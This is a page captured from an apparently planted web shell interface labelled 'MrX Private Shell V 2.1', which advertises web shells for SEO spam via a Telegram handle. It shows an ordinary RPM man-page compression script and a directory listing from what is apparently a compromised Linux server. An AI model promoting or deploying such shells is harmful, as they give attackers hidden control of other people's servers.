__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/sh
# If using normal root, avoid changing anything.
if [ -z "$RPM_BUILD_ROOT" -o "$RPM_BUILD_ROOT" = "/" ]; then
exit 0
fi
cd $RPM_BUILD_ROOT
# Compress man pages
COMPRESS="gzip -9 -n"
COMPRESS_EXT=.gz
for d in ./usr/man/man* ./usr/man/*/man* ./usr/info \
./usr/share/man/man* ./usr/share/man/*/man* ./usr/share/info \
./usr/kerberos/man ./usr/X11R6/man/man* ./usr/lib/perl5/man/man* \
./usr/share/doc/*/man/man* ./usr/lib/*/man/man*
do
[ -d $d ] || continue
for f in `find $d -type f`
do
[ -f "$f" ] || continue
[ "`basename $f`" = "dir" ] && continue
case "$f" in
*.Z) gunzip -f $f; b=`echo $f | sed -e 's/\.Z$//'`;;
*.gz) gunzip -f $f; b=`echo $f | sed -e 's/\.gz$//'`;;
*.bz2) bunzip2 -f $f; b=`echo $f | sed -e 's/\.bz2$//'`;;
*) b=$f;;
esac
$COMPRESS $b </dev/null 2>/dev/null || {
inode=`ls -i $b | awk '{ print $1 }'`
others=`find $d -type f -inum $inode`
if [ -n "$others" ]; then
for afile in $others ; do
[ "$afile" != "$b" ] && rm -f $afile
done
$COMPRESS -f $b
for afile in $others ; do
[ "$afile" != "$b" ] && ln $b$COMPRESS_EXT $afile$COMPRESS_EXT
done
else
$COMPRESS -f $b
fi
}
done
for f in `find $d -type l`
do
l=`ls -l $f | sed -e 's/.* -> //' -e 's/\.gz$//' -e 's/\.bz2$//' -e 's/\.Z$//'`
rm -f $f
b=`echo $f | sed -e 's/\.gz$//' -e 's/\.bz2$//' -e 's/\.Z$//'`
ln -sf $l$COMPRESS_EXT $b$COMPRESS_EXT
done
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| find-provides.d | Folder | 0755 |
|
|
| brp-compress | File | 1.42 KB | 0755 |
|
| brp-implant-ident-static | File | 970 B | 0755 |
|
| brp-java-repack-jars | File | 2.76 KB | 0755 |
|
| brp-python-hardlink | File | 686 B | 0755 |
|
| brp-strip | File | 509 B | 0755 |
|
| brp-strip-comment-note | File | 803 B | 0755 |
|
| brp-strip-shared | File | 707 B | 0755 |
|
| brp-strip-static-archive | File | 416 B | 0755 |
|
| config.guess | File | 44.24 KB | 0755 |
|
| config.sub | File | 34.74 KB | 0755 |
|
| dist.sh | File | 1.93 KB | 0755 |
|
| find-provides | File | 2.8 KB | 0755 |
|
| find-provides.ksyms | File | 1.44 KB | 0755 |
|
| find-provides.libtool | File | 203 B | 0755 |
|
| find-provides.pkgconfig | File | 603 B | 0755 |
|
| find-requires | File | 4.06 KB | 0755 |
|
| find-requires.ksyms | File | 5.85 KB | 0755 |
|
| find-requires.libtool | File | 271 B | 0755 |
|
| find-requires.pkgconfig | File | 282 B | 0755 |
|
| kmodtool | File | 8.11 KB | 0755 |
|
| libtool-handle-ppc64le.sh | File | 3.64 KB | 0755 |
|
| macros | File | 10.1 KB | 0644 |
|
| redhat-hardened-cc1 | File | 70 B | 0444 |
|
| redhat-hardened-ld | File | 47 B | 0444 |
|
| rpmrc | File | 3.69 KB | 0644 |
|
| rpmsort | File | 2.11 KB | 0755 |
|
| symset-table | File | 903 B | 0755 |
|